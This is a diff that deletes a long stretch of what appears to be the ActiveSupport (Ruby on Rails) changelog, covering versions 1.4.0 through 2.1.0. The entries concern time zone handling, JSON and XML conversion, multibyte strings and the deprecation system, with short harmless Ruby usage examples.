-* Fixed Date#end_of_quarter to not blow up on May 31st [#289 state:resolved] (Danger)
-
-
-## 2.1.0 (May 31st, 2008) ##
-
-* TimeZone#to_s shows offset as GMT instead of UTC, because GMT will be more familiar to end users (see time zone selects used by Windows OS, google.com and yahoo.com.) Reverts [8370] *Geoff Buesing*
-
-* Hash.from_xml: datetime xml types overflow to Ruby DateTime class when out of range of Time. Adding tests for utc offsets *Geoff Buesing*
-
-* TimeWithZone #+ and #- : ensure overflow to DateTime with Numeric arg *Geoff Buesing*
-
-* Time#to_json: don't convert to utc before encoding. References #175 *Geoff Buesing*
-
-* Remove unused JSON::RESERVED_WORDS, JSON.valid_identifier? and JSON.reserved_word? methods. Resolves #164. *Cheah Chu Yeow*
-
-* Adding Date.current, which returns Time.zone.today if config.time_zone is set; otherwise returns Date.today *Geoff Buesing*
-
-* TimeWithZone: date part getter methods (#year #mon #day etc) are defined on class; no longer relying on method_missing *Geoff Buesing*
-
-* Time.zone.parse return nil for strings with no date information *Geoff Buesing*
-
-* Time.zone.parse respects offset information in string. Resolves #105. *Scott Fleckenstein, Geoff Buesing*
-
-* Added Ruby 1.8 implementation of Process.daemon
-
-* Duration #since and #ago with no argument (e.g., 5.days.ago) return TimeWithZone when config.time_zone is set. Introducing Time.current, which returns Time.zone.now if config.time_zone is set, otherwise just returns Time.now *Geoff Buesing*
-
-* Time#since behaves correctly when passed a Duration. Closes #11527 *kemiller*
-
-* Add #getutc alias for DateTime#utc *Geoff Buesing*
-
-* Refactor TimeWithZone: don't send #since, #ago, #+, #-, #advance through method_missing *Geoff Buesing*
-
-* TimeWithZone respects config.active_support.use_standard_json_time_format *Geoff Buesing*
-
-* Add config.active_support.escape_html_entities_in_json to allow disabling of html entity escaping. *Rick Olson*
-
-* Improve documentation. *Xavier Noria*
-
-* Modified ActiveSupport::Callbacks::Callback#call to accept multiple arguments.
-
-* Time #yesterday and #tomorrow behave correctly crossing DST boundary. Closes #7399 *sblackstone*
-
-* TimeWithZone: Adding tests for dst and leap day edge cases when advancing time *Geoff Buesing*
-
-* TimeWithZone#method_missing: send to utc to advance with dst correctness, otherwise send to time. Adding tests for time calculations methods *Geoff Buesing*
-
-* Add config.active_support.use_standard_json_time_format setting so that Times and Dates export to ISO 8601 dates. *Rick Olson*
-
-* TZInfo: Removing unneeded TimezoneProxy class *Geoff Buesing*
-
-* TZInfo: Removing unneeded TimezoneIndexDefinition, since we're not including Indexes::Timezones *Geoff Buesing*
-
-* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled *Geoff Buesing*
-
-* Bundling abbreviated version of TZInfo gem 0.3.8: only the classes and zone definitions required to support Rails time zone features are included. If a recent version of the full TZInfo gem is installed, this will take precedence over the bundled version *Geoff Buesing*
-
-* TimeWithZone#marshal_load does zone lookup via Time.get_zone, so that tzinfo/Olson identifiers are handled *Geoff Buesing*
-
-* Time.zone= accepts TZInfo::Timezone instances and Olson identifiers; wraps result in TimeZone instance *Geoff Buesing*
-
-* TimeWithZone time conversions don't need to be wrapped in TimeOrDateTime, because TZInfo does this internally *Geoff Buesing*
-
-* TimeWithZone#usec returns 0 instead of error when DateTime is wrapped *Geoff Buesing*
-
-* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
-
-* Ensure that TimeWithZone#to_yaml works when passed a YAML::Emitter. *Rick Olson*
-
-* Ensure correct TimeWithZone#to_date *Geoff Buesing*
-
-* Make TimeWithZone work with tzinfo 0.2.x: use TZInfo::Timezone#zone_identifier alias for #abbreviation, silence warnings on tests. Raise LoadError when TZInfo version is < 0.2 by sniffing for TZInfo::TimeOrDateTime constant. Move all tzinfo-dependent TimeZone tests into uses_tzinfo block *Geoff Buesing*
-
-* Time, DateTime and TimeWithZone #in_time_zone defaults to Time.zone. Removing now unneeded #in_current_time_zone *Geoff Buesing*
-
-* TZInfo caches Timezone instances in its own internal hash cache, so TimeZone::MAPPING doesn't need to cache them as well *Geoff Buesing*
-
-* Adding TimeZone#parse *Geoff Buesing*
-
-* Adding TimeZone#at and DateTime#to_f *Geoff Buesing*
-
-* TimeWithZone responds to Ruby 1.9 weekday-named query methods *Geoff Buesing*
-
-* TimeWithZone caches TZInfo::TimezonePeriod used for time conversion so that it can be reused, and enforces DST rules correctly when instance is created from a local time *Geoff Buesing*
-
-* Fixed that BufferedLogger should create its own directory if one doesn't already exist #11285 *lotswholetime*
-
-* Fix Numeric time tests broken by DST change by anchoring them to fixed times instead of Time.now. Anchor TimeZone#now DST test to time specified with Time.at instead of Time.local to work around platform differences with Time.local and DST representation *Geoff Buesing*
-
-* Removing unneeded #change_time_zone method from Time, DateTime and TimeWithZone *Geoff Buesing*
-
-* TimeZone #local and #now correctly enforce DST rules *Geoff Buesing*
-
-* TimeWithZone instances correctly enforce DST rules. Adding TimeZone#period_for_utc *Geoff Buesing*
-
-* test_time_with_datetime_fallback expects DateTime.local_offset instead of DateTime.now.offset *Geoff Buesing*
-
-* Adding TimeWithZone #marshal_dump and #marshal_load *Geoff Buesing*
-
-* Add OrderedHash#to_hash *Josh Peek*
-
-* Adding Time#end_of_day, _quarter, _week, and _year. #9312 *Juanjo Bazan, Tarmo Tänav, BigTitus*
-
-* Adding TimeWithZone#between? *Geoff Buesing*
-
-* Time.=== returns true for TimeWithZone instances *Geoff Buesing*
-
-* TimeWithZone #+ and #- behave consistently with numeric arguments regardless of whether wrapped time is a Time or DateTime; consistenty answers false to #acts_like?(:date) *Geoff Buesing*
-
-* Add String#squish and String#squish! to remove consecutive chunks of whitespace. #11123 *Jordi Bunster, Henrik N*
-
-* Serialize BigDecimals as Floats when using to_yaml. #8746 *Ernesto Jimenez*
-
-* Adding TimeWithZone #to_yaml, #to_datetime, #eql? and method aliases for duck-typing compatibility with Time *Geoff Buesing*
-
-* TimeWithZone #in_time_zone returns +self+ if zone argument is the same as #time_zone *Geoff Buesing*
-
-* Adding TimeWithZone #to_a, #to_f, #to_i, #httpdate, #rfc2822 *Geoff Buesing*
-
-* Pruning unneeded TimeWithZone#change_time_zone_to_current *Geoff Buesing*
-
-* Time#zone=, #in_time_zone and #change_time_zone accept a Duration *Geoff Buesing*
-
-* Time#in_time_zone handles Time.local instances correctly *Geoff Buesing*
-
-* Pruning unneeded Time#change_time_zone_to_current. Enhanced docs to #change_time_zone to explain the difference between this method and #in_time_zone *Geoff Buesing*
-
-* TimeZone#new method renamed #local; when used with Time.zone, constructor now reads: Time.zone.local() *Geoff Buesing*
-
-* Added Base64.encode64s to encode values in base64 without the newlines. This makes the values immediately usable as URL parameters or memcache keys without further processing *David Heinemeier Hansson*
-
-* Remove :nodoc: entries around the ActiveSupport test/unit assertions. #10946 *dancroak, jamesh*
-
-* Add Time.zone_default accessor for setting the default time zone. Rails::Configuration.time_zone sets this. #10982 *Geoff Buesing*
-
-* cache.fetch(key, :force => true) to force a cache miss. *Jeremy Kemper*
-
-* Support retrieving TimeZones with a Duration. TimeZone[-28800] == TimeZone[-480.minutes]. *Rick Olson*
-
-* TimeWithZone#- added, so that #- can handle a Time or TimeWithZone argument correctly *Geoff Buesing*
-
-* with_timezone test helper renamed with_env_tz, to distinguish between setting ENV['TZ'] and setting Time.zone in tests *Geoff Buesing*
-
-* Time#- coerces TimeWithZone argument to a Time instance so that difference in seconds can be calculated. Closes #10914 *Geoff Buesing, yyyc514*
-
-* Adding UTC zone to TimeZone; TimeWithZone no longer has to fake UTC zone with nil *Geoff Buesing*
-
-* Time.get_zone refactored to private method, given that the encapsulated logic is only useful internally *Geoff Buesing*
-
-* Time.zone uses thread-local variable for thread safety. Adding Time.use_zone, for overriding Time.zone locally inside a block. Removing unneeded Time.zone_reset! *Geoff Buesing*
-
-* TimeZone#to_s uses UTC rather than GMT; reapplying change that was undone in [8679]. #1689 *Cheah Chu Yeow*
-
-* Time.days_in_month defaults to current year if no year is supplied as argument #10799 [Radar], uses Date.gregorian_leap? to determine leap year, and uses constant lookup to determine days in month *Geoff Buesing*
-
-* Adding Time and DateTime #compare_with_coercion, which layers behavior on #<=> so that any combination of Time, DateTime and ActiveSupport::TimeWithZone instances can be chronologically compared *Geoff Buesing*
-
-* TimeZone#now returns an ActiveSupport::TimeWithZone *Geoff Buesing*
-
-* Time #in_current_time_zone and #change_time_zone_to_current return self when Time.zone is nil *Geoff Buesing*
-
-* Remove unneeded #to_datetime_default_s alias for DateTime#to_s, given that we inherit a #to_default_s from Date that does exactly the same thing *Geoff Buesing*
-
-* Refactor Time and DateTime #to_formatted_s: use ternary instead of nested if/else *Geoff Buesing*
-
-* Adding Time and DateTime #formatted_offset, for outputting +HH:MM utc offset strings with cross-platform consistency *Geoff Buesing*
-
-* Adding alternate_utc_string option to TimeZone#formatted_offset. Removing unneeded TimeZone#offset. *Geoff Buesing*
-
-* Introduce ActiveSupport::TimeWithZone, for wrapping Time instances with a TimeZone. Introduce instance methods to Time for creating TimeWithZone instances, and class methods for managing a global time zone. *Geoff Buesing*
-
-* Replace non-dst-aware TimeZone class with dst-aware class from tzinfo_timezone plugin. TimeZone#adjust and #unadjust are no longer available; tzinfo gem must now be present in order to perform time zone calculations, via #local_to_utc and #utc_to_local methods. *Geoff Buesing*
-
-* Extract ActiveSupport::Callbacks from Active Record, test case setup and teardown, and ActionController::Dispatcher. #10727 *Josh Peek*
-
-* Introducing DateTime #utc, #utc? and #utc_offset, for duck-typing compatibility with Time. Closes #10002 *Geoff Buesing*
-
-* Time#to_json uses Numeric#to_utc_offset_s to output a cross-platform-consistent representation without having to convert to DateTime. References #9750 *Geoff Buesing*
-
-* Refactor number-to-HH:MM-string conversion logic from TimeZone#formatted_offset to a reusable Numeric#to_utc_offset_s method. *Geoff Buesing*
-
-* Continue evolution toward ActiveSupport::TestCase. #10679 *Josh Peek*
-
-* TestCase: introduce declared setup and teardown callbacks. Pass a list of methods and an optional block to call before setup or after teardown. Setup callbacks are run in the order declared; teardown callbacks are run in reverse. *Jeremy Kemper*
-
-* Added ActiveSupport::Gzip.decompress/compress(source) as an easy wrapper for Zlib *Tobias Lütke*
-
-* Included MemCache-Client to make the improved ActiveSupport::Cache::MemCacheStore work out of the box *Bob Cottrell, Eric Hodel*
-
-## Added ActiveSupport::Cache:: framework as an extraction from ActionController::Caching::Fragments:: David Heinemeier Hansson ##
-
-* Fixed String#titleize to work for strings with 's too #10571 *trek*
-
-* Changed the implementation of Enumerable#group_by to use a double array approach instead of a hash such that the insert order is honored *David Heinemeier Hansson/Marcel Molina Jr.*
-
-* remove multiple enumerations from ActiveSupport::JSON#convert_json_to_yaml when dealing with date/time values. *Rick Olson*
-
-* Hash#symbolize_keys skips keys that can't be symbolized. #10500 *Brad Greenlee*
-
-* Ruby 1.9 compatibility. #1689, #10466, #10468, #10554, #10594, #10632 *Cheah Chu Yeow, Pratik Naik, Jeremy Kemper, Dirkjan Bussink, Xavier Noria*
-
-* TimeZone#to_s uses UTC rather than GMT. #1689 *Cheah Chu Yeow*
-
-* Refactor of Hash#symbolize_keys! to use Hash#replace. Closes #10420 *ReinH*
-
-* Fix HashWithIndifferentAccess#to_options! so it doesn't clear the options hash. Closes #10419 *ReinH*
-
-
-## 2.0.1 (December 7th, 2007) ##
-
-* Added Array#from and Array#to that behaves just from String#from and String#to *David Heinemeier Hansson*
-
-* Fix that empty collections should be treated as empty arrays regardless of whitespace for Hash#from_xml #10255 *adamj*
-
-* Time#time_with_datetime_fallback, Time#to_datetime, Date#to_datetime and String#to_datetime honor Ruby's default calendar reform setting. #10201 *Geoff Buesing*
-
-* Change Time and DateTime #end_of_month to return last second of month instead of beginning of last day of month. Closes #10200 *Geoff Buesing*
-
-* Speedup String#blank? *Jeremy Kemper, Michael Koziarski*
-
-* Add documentation for Hash#diff. Closes #9306 *Tarmo Tänav*
-
-* Add new superclass_delegating_accessors. Similar to class inheritable attributes but with subtly different semantics. *Michael Koziarski, Tarmo Tänav*
-
-* Change JSON to encode %w(< > &) as 4 digit hex codes to be in compliance with the JSON spec. Closes #9975 *Josh Peek, Cheah Chu Yeow, Tim Pope*
-
-* Fix JSON encoding/decoding bugs dealing with /'s. Closes #9990 *Rick Olson, theamazingrando*
-
-* Introduce a base class for all test cases used by rails applications. ActiveSupport::TestCase *Michael Koziarski*
-
- The intention is to use this to reduce the amount of monkeypatching / overriding that
- is done to test/unit's classes.
-
-* Document Enumerable and Hash #to_json. #9970 *Cheah Chu Yeow*
-
-* Hash#to_xml handles symbol values. #9954 *Assaf*
-
-* Hash#symbolize_keys behaves well with integer keys. #9890 *PotatoSalad*
-
-* Multibyte: String#slice supports regexp argument. #9646 *yob*
-
-* object.duplicable? returns true if object.dup is safe. False for nil, true, false, symbols, and numbers; true otherwise. #9333 *sur*
-
-* Time, Date and DateTime #advance accept :weeks option. #9866 *Geoff Buesing*
-
-* Fix Time#years_ago and #years_since from leap days. #9865 *Geoff Buesing*
-
-* Time and DateTime#advance accept :hours, :minutes, and :seconds options. #9825 *Geoff Buesing*
-
-* Fix Date#years_ago and #years_since from leap days. #9864 *Geoff Buesing*
-
-* Refactor Time and Date#months_since and #months_ago to use #advance. #9863 *Geoff Buesing*
-
-* Rebundle Builder 2.1.2 but prefer a newer RubyGem if available. *Jeremy Kemper*
-
-* Add Range#overlaps?(range), Range#include?(range), and Range#step without a block. *brandon*
-
-* Correct BufferedLogger#level? checks. #9806 *wildchild, Johan Sorensen*
-
-* String#to_xs uses Eric Wong's fast_xs extension, if available, for Builder speedup. http://bogomips.org/fast_xs/ *Jeremy Kemper*
-
-* Introduce BasicObject as Builder::BlankSlate for Ruby 1.9 forward compatibility. *Jeremy Kemper*
-
-* Unbundle Builder in favor of a gem dependency. *Jeremy Kemper*
-
-* Disambiguate Time, Date, and DateTime#to_json formatting. #9750 *Geoff Buesing, Cheah Chu Yeow*
-
-* Hash#to_json takes :only or :except options to specific or omit certain hash keys. Enumerable#to_json passes through its options to each element. #9751 *Cheah Chu Yeow*
-
-* BufferedLogger#auto_flushing = N flushes the log every N messages. Buffers with an array instead of string. Disabling auto_flushing still flushes when the buffer hits a maximum size, as a failsafe against memory-gobbling. *Jeremy Kemper*
-
-* Fixed Date#xmlschema for dates outside the range of what can be created with Time #9744 *Geoff Buesing*
-
-* Fixed that La Paz was included in -25200 and -14400 offsets when it should only be in -14400 #9735 *bermi*
-
-* Fixed JSON encoding to use quoted keys according to the JSON standard. #8762 *choonkat, Cheah Chu Yeow*
-
-* Alias Object#send to send! for Ruby 1.9 forward compatibility. *Jeremy Kemper*
-
-* Backport Object#instance_variable_defined? for Ruby < 1.8.6. *Jeremy Kemper*
-
-* BufferedLogger#add converts the message to a string. #9702, #9724 *eigentone, DrMark, Tom Ward*
-
-* Added ActiveSupport::BufferedLogger as a duck-typing alternative (albeit with no formatter) to the Ruby Logger, which provides a very nice speed bump (inspired by Ezra's buffered logger) *David Heinemeier Hansson*
-
-* Object#instance_exec produces fewer garbage methods. *Mauricio Fernandez*
-
-* Decode json strings as Dates/Times if they're using a YAML-compatible format. Closes #9614 *Rick Olson*
-
-* Fixed cache_page to use the request url instead of the routing options when picking a save path. #8614 *Josh Peek*
-
-* Object.subclasses_of includes anonymous subclasses. *Jeremy Kemper*
-
-* Fixed that pluralizing an empty string should return the same empty string, not "s". #7720 *Josh Peek*
-
-* Added call to inspect on non-string classes for the logger #8533 *Coda Hale*
-
-* Deprecation: remove deprecated :mday option from Time, Date, and DateTime#change. *Jeremy Kemper*
-
-* Fix JSON decoder with nested quotes and commas. #9579 *Zach Dennis*
-
-* Hash#to_xml doesn't double-unescape. #8806 *Ezran*
-
-* Added Array#rand #9170 [Norbert Crombach]. Examples:
-
- [].rand # => nil
- ['a'].rand # => 'a'
- [1,2,3].rand # => 1 or 2 or 3
-
-* Deprecation: removed Reloadable. *Jeremy Kemper*
-
-* Make the utf-handler return the correct value for non-matching regular expressions. Closes #9049 *Manfred Stienstra*
-
-* Add ljust, rjust and center to utf8-handler. Closes #9165 *Manfred Stienstra*
-
-* Fix Time#advance bug when trying to advance a year from leap day. Closes #8655 *Geoff Buesing*
-
-* Add support for []= on ActiveSupport::Multibyte::Chars. Closes #9142. *ewan, Manfred Stienstra*
-
-* Added Array#extract_options! to encapsulate the pattern of getting an options hash out of a variable number of parameters. #8759 *Norbert Crombach*
-
-* Let alias_attribute work with attributes with initial capital letters (legacy columns etc). Closes #8596 *mpalmer*
-
-* Added Hash#except which is the inverse of Hash#slice -- return the hash except the keys that are specified *David Heinemeier Hansson*
-
-* Added support for pluralization with a different starting letter than the singular version (cow/kine) #4929 *norri_b/Josh Susser*
-
-* Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin. #8453 *candlerb, Jeremy Kemper*
-
-* Backport clean_logger changes to support ruby 1.8.2 *Mislav Marohnić*
-
-* Added proper handling of arrays #8537 *Josh Susser*
-
- Before:
- Hash.from_xml '<images></images>'
- # => {:images => nil}
-
- Hash.from_xml '<images><image>foo.jpg</image></images>'
- # => {:images => {:image => "foo.jpg"}}
-
- Hash.from_xml '<images><image>foo.jpg</image><image>bar.jpg</image></images>'
- # => {:images => {:image => ["foo.jpg", "bar.jpg"]}}
-
- After:
- Hash.from_xml '<images type="array"></images>'
- # => {:images => []}
-
- Hash.from_xml '<images type="array"><image>foo.jpg</image></images>'
- # => {:images => ["foo.jpg"]}
-
- Hash.from_xml '<images type="array"><image>foo.jpg</image><image>bar.jpg</image></images>'
- # => {:images => ["foo.jpg", "bar.jpg"]}
-
-* Improve Time and Date test coverage. #8646 *Josh Peek*
-
-* Add Date#since, ago, beginning_of_day, and end_of_day. Date + seconds works now. #8575 *Geoff Buesing*
-
-* String#to_time overflows to DateTime. Add String#to_datetime. #8572 *Geoff Buesing*
-
-* Date.yesterday and .tomorrow. #8571 *Geoff Buesing*
-
-* Readable Date and DateTime#inspect. #8570 *Geoff Buesing*
-
-* Move common DateTime calculations to Date. #8536 *Geoff Buesing*
-
-* Added Date#change (like Time#change) *David Heinemeier Hansson*
-
-* DateTime#to_time converts to Time unless out of range. #8512 *Geoff Buesing*
-
-* Date#to_datetime, #to_s(:rfc822). #8512 *Geoff Buesing*
-
-* Time durations use since instead of + for accuracy. #8513 *Geoff Buesing*
-
-* escape <'s and >'s in JSON strings. #8371 *Rick Olson*
-
-* Inflections: MatrixTest -> MatrixTests instead of MatricesTest. #8496 *jbwiv*
-
-* Multibyte strings respond_to the String methods they proxy so they can be duck-typed. #6549 *Tuxie*
-
-* Array#to_xml yields the builder just like Hash and ActiveRecord::Base. #8472 *seth*
-
-* Date, Time, and DateTime support formatting blocks in addition to strftime strings. Introduce :long_ordinal format, e.g. "February 21st, 2005". #8191 *Coda Hale*
-
-* Document Object#blank?. #6491 *Chris Mear*
-
-* Date, Time, and DateTime#to_json. #8399 *wycats*
-
-* Simplify API of assert_difference by passing in an expression that is evaluated before and after the passed in block. See documenation for examples of new API. *Marcel Molina Jr.*
-
-* Added assert_difference and assert_no_difference to test/unit assertions *Tobias Lütke*
-
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back *David Heinemeier Hansson*
-
-* Added parsing of file type in Hash.xml_in so you can easily do file uploads with base64 from an API *David Heinemeier Hansson*
-
- <person>
- <name>David</name>
- <avatar type="file" name="me.jpg" content_type="image/jpg">R0lGODlhkACZAPUAAM5lcfjrtMQCG=\n</avatar>
- </person>
-
- ...becomes:
-
- attributes = { :person => { :name => "David", :avatar => #<StringIO> } }
- attributes[:person][:avatar].content_type # => "image/jpg"
- attributes[:person][:avatar].original_filename # => "me.jpg"
- attributes[:person][:avatar].read # => binary data of the file
-
- Which is duck-type compatible with the files that you get when doing multipart uploads through HTML.
-
-* Improved multibyte performance by relying less on exception raising #8159 *Blaine*
-
-* Use XSD-compatible type names for Hash#to_xml and make the converters extendable #8047 *Tim Pope*
-
-* Added yielding of builder in Hash#to_xml *David Heinemeier Hansson*
-
-* Hash#with_indifferent_access now also converts hashes kept in arrays to indifferent access (makes it easier to treat HTML and XML parameters the same) *David Heinemeier Hansson*
-
-* Hash#to_xml supports YAML attributes. #7502 *jonathan*
-
-* Refactor ActiveSupport::JSON to be less obtuse. Add support for JSON decoding by way of Syck with ActiveSupport::JSON.decode(json_string). Prevent hash keys that are JavaScript reserved words from being unquoted during encoding. *Sam Stephenson*
-
-* alias_method_chain preserves the original method's visibility. #7854 *Jonathan Viney*
-
-* Update Dependencies to ignore constants inherited from ancestors. Closes #6951. *Nicholas Seckar*
-
-* Array#to_query preserves its ordering. #7756 *Greg Spurrier*
-
-* Out-of-range Time calculations transparently overflow to DateTime. Introduce Time#to_datetime. #7706, #7715 *Geoff Buesing*
-
-* DateTime calculations analogous to the Date and Time extensions. #7693 *Geoff Buesing*
-
-* Give DateTime correct .to_s implementations, lets it play nice with ActiveRecord quoting. #7649 *Geoff Buesing*
-
-* Add File.atomic_write, allows you to write large files in an atomic manner, preventing users from seeing half written files. *Michael Koziarski*
-
-* Allow users to provide custom formatters to Logger. *Anthony Eden*
-
-* Hash#to_query CGI-escapes its keys. *Jeremy Kemper*
-
-* Optimize Class Inheritable Attributes so that unnecessary hashes are not created. Closes #7472 *Bruce Perens*
-
-* :db format for Date#to_s *Jeremy Kemper*
- Date.new(2007, 1, 27).to_s(:db) # => '2007-01-27'
-
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer. *Rick Olson*
-
-* Added Hash#to_query to turn a hash of values into a form-encoded query string *Nicholas Seckar*
-
-* Increase test coverage for subclasses_of. Closes #7335. *Roman2K, Nicholas Seckar*
-
-* Remove unused code from Duration#inspect. Closes #7180. *Rich Collins*
-
-* Added test coverage for Inflector.inflections.clear. Closes #7179. *Rich Collins*
-
-* ActiveSupport::Multibyte::Handlers::UTF8Handler should raise when a range and an integer are passed in (just like the native implementation). Closes #7176 *Rich Collins*
-
-* A couple extra tests for #classify. Closes #7273. *Josh Susser*
-
-* Better docs for Object extensions *zackchandler, Jamis Buck*
-
-* Fix that Dates couldn't be subtracted from Dates after [5940]. *Sam Stephenson*
-
-* Add Object#acts_like? and Time#acts_like_time? and Date#acts_like_date? to facilitate duck-typing. *Jamis Buck*
-
-* Make 1.months and friends accurate by introducing a Duration class. #6835 *eventualbuddha*
-
-
-## 1.4.2 (March 12th, 2007) ##
-
-* Ruby 1.8.6 and 1.9 define private Time#to_date and #to_datetime; make them
- public for compatibility. *Jeremy Kemper*
-
-* Deprecation: warn on stderr if RAILS_DEFAULT_LOGGER isn't set yet. *Jeremy Kemper*
-
-
-## 1.4.1 (February 5th, 2007) ##
-
-* Optimize Class Inheritable Attributes so that unnecessary hashes are not created. Closes #7472 *Bruce Perens*
-
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer. *Rick Olson*
-
-* Full test coverage for Inflector. #7228 *Dan Kubb*
-
-
-## 1.4.0 (January 16th, 2007) ##
-
-* Document Inflector.ordinalize and merge docs from String inflections. #7023 *smeade*
-
-* Unbundle flexmock. *Jeremy Kemper*
-
-* Fix Dependencies.autoloaded? to ignore anonymous modules. Closes #6561. *Nicholas Seckar*
-
-* Update load once paths to prevent nested once constants from being detected and claimed by an external non-once load. *Nicholas Seckar*
-
-* Deprecation: silence warnings when reporting test errors. *Jeremy Kemper*
-
-* Hash#slice(*keys) returns a new hash with only the given keys. #slice! replaces the hash with only the given keys. Works with HashWithIndifferentAccess also. *Jeremy Kemper*
-
-* HashWithIndifferentAccess#to_hash converts to a Hash with String keys and the same default value. *Jeremy Kemper*
-
-* Fix remove_constant to correctly handle constant names of the form "::A::...". References #6720. *Nicholas Seckar*
-
-* Fixed Array#to_xml when it contains a series of hashes (each piece would get its own XML declaration) #6610 *thkarcher/cyu*
-
-* Added Time#to_s(:time) which will just return H:M, like 17:44 *David Heinemeier Hansson*
-
-* Add Module#attr_accessor_with_default to initialize value of attribute before setting it. Closes #6538. *Stuart Halloway, Marcel Molina Jr.*
-
-* Hash#to_xml handles keys with the same name as Kernel methods. #6613 *Jonathan del Strother*
-
-* Added Time#end_of_day to get 23:59:59 of that day *David Heinemeier Hansson*
-
-* Don't quote hash keys in Hash#to_json if they're valid JavaScript identifiers. Disable this with ActiveSupport::JSON.unquote_hash_key_identifiers = false if you need strict JSON compliance. *Sam Stephenson*
-
-* Lazily load the Unicode Database in the UTF-8 Handler *Rick Olson*
-
-* Update dependencies to delete partially loaded constants. *Nicholas Seckar*
-
-* Fix unicode JSON regexp for Onigurama compatibility. #6494 *whitley*
-
-* update XmlSimple to 1.0.10. Closes #6532. *Nick Sieger*
-
-* Update dependencies to allow constants to be defined alongside their siblings. A common case for this is AR model classes with STI; user.rb might define User, Administrator and Guest for example. *Nicholas Seckar*
-
-* next_week respects DST changes. #6483, #5617, #2353, #2509, #4551 *marclove, Rob Biedenharn, rails@roetzel.de, jsolson@damogran.org, drbrain@segment7.net*
-
-* Expose methods added to Enumerable in the documentation, such as group_by. Closes #6170. *sergeykojin@gmail.com, Marcel Molina Jr.*
-
-* Ensure Chars#tidy_bytes only tidies broken bytes. Closes #6397 *Manfred Stienstra*
-
-* Add 'unloadable', a method used to mark any constant as requiring an unload after each request. *Nicholas Seckar*
-
-* Make core_ext/string/access.rb multibyte safe. Closes #6388 *Manfred Stienstra*
-
-* Make String#chars slicing behaviour consistent with String. Closes #6387 *Manfred Stienstra*
-
-* Pull in latest multibyte patch. Closes #6346 *Manfred Stienstra*
-
-* Add ActiveSupport::Multibyte. Provides String#chars which lets you deal with strings as a sequence of chars, not of bytes. Closes #6242 *Julian Tarkhanov, Manfred Stienstra, Thijs van der Vossen & Jan Behrens*
-
-* Fix issue with #class_inheritable_accessor saving updates to the parent class when initialized with an Array or Hash *mojombo*
-
-* Hash#to_xml supports Bignum and BigDecimal. #6313 *edibiase*
-
-* Don't undefine #class in OptionMerger *Rick Olson*
-
-* Hash.create_from_xml has been renamed to Hash.from_xml, alias will exist until Rails 2.0 *David Heinemeier Hansson*
-
-* alias_method_chain works with accessor= methods also. #6153 *Caio Chassot*
-
-* Fix loadable_constants_for_path to handle load paths that do not end with a slash. *Nicholas Seckar*
-
-* Fix logic error in determining what was loaded by a given file. Closes #6039. *Nicholas Seckar*
-
-* Equate Kernel.const_missing with Object.const_missing. Fixes #5988. *Nicholas Seckar*
-
-* Add ApplicationController special case to Dependencies. *Nicholas Seckar*
-
-* Don't pad remaining places with in_groups_of if specified padding value is false. *Marcel Molina Jr.*
-
-* Fix cases where empty xml nodes weren't being translated to nil in Hash.create_from_xml *Rick Olso n*
-
- <written-on type="date"></written-on> # => { :type => 'date' } # WRONG
- <written-on type="date"></written-on> # => nil # RIGHT
-
-* Tighten rescue clauses. #5985 *james@grayproductions.net*
-
-* Inflections: don't singularize -ies plurals. *foamdino@gmail.com, Mark Van Holstyn*
-
-* Update Initializer to use load_once_paths to avoid plugin reloading. References #5852. *Nicholas Seckar*
-
-* Use Array#assoc in ActiveSupport::OrderedHash. *Mauricio Fernandez*
-
-* Greatly increased performance of String.to_json, which speeds up RJS considerably on large pages, fixes #3473 *Shugo Maeda*
-
-* Detect missing_constants calls from removed modules and fail accordingly. *Nicholas Seckar*
-
-* Stop using defined? in Dependencies.qualified_const_defined? since defined? may invoke const_missing. *Nicholas Seckar*
-
-* Dependencies can autoload directories of nested classes. *Jeremy Kemper*
- Example:
- invoice.rb class Invoice
- invoice/lineitem.rb class Invoice::Lineitem
-
-* Add Deprecation.silence so that Reloadable does not scold itself. *Nicholas Seckar*
-
-* Add debugging logging to Dependencies. Currently can be enabled with Dependencies.log_activity = true; adding to Initializer and documenting is forthcoming. *Nicholas Seckar*
-
-* Replace Reloadable with improvements to the Dependencies mechanism. *Nicholas Seckar*
-
-* DateTime#to_time gives hour/minute/second resolution. #5747 *jon.evans@pobox.com*
-
-* attr_internal to support namespacing and deprecation. Like attr_* except backed by internally-named instance variable. Set attr_internal_naming_format to change the format from the default '@_%s'. *Jeremy Kemper*
- # def foo() @foo__rofl end
- # def foo=(v) @foo__rofl = v end
- self.attr_internal_naming_format = '@%s__rofl'
- attr_internal :foo
-
-* Raise fully qualified names upon name errors. #5533 *Lars Pind, Nicholas Seckar*
-
-* Add extention to obtain the missing constant from NameError instances. *Nicholas Seckar*
-
-* Thoroughly document inflections. #5700 *petermichaux@gmail.com*
-
-* Added Module#alias_attribute [Jamis/David Heinemeier Hansson]. Example:
-
- class Content < ActiveRecord::Base
- # has a title attribute
- end
-
- class Email < ActiveRecord::Base
- alias_attribute :subject, :title
- end
-
- e = Email.find(1)
- e.title # => "Superstars"
- e.subject # => "Superstars"
- e.subject? # => true
- e.subject = "Megastars"
- e.title # => "Megastars"
-
-* Deprecation: easier to work with warning behavior as procs; default behaviors for each environment so users needn't update env.rb; and testing pleasure with assert_deprecated, assert_not_deprecated. *Jeremy Kemper*
- By default, test prints to $stderr, dev logs, production ignores.
- Provide your own per-environment in e.g. config/environments/development.rb:
- ActiveSupport::Deprecation.behavior = Proc.new { |message| raise message }
-
-* First cut of the Rails Deprecation system. *Michael Koziarski*
-
-* Strip boolean XML content before checking for 'true' *Rick Olson*
-
-* Customize default BigDecimal formatting. References #5672 *Dave Thomas*
-
-* Correctly convert <foo nil="true"> to nil when using Hash.create_from_xml. *Rick Olson*
-
-* Optional identity for Enumerable#sum defaults to zero. #5657 *gensym@mac.com*
-
-* HashWithIndifferentAccess shouldn't confuse false and nil. #5601 *Shugo Maeda*
-
-* Fixed HashWithIndifferentAccess#default #5586 *chris@seagul.co.uk*
-
-* More compatible Hash.create_from_xml. #5523 *nunemaker@gmail.com*
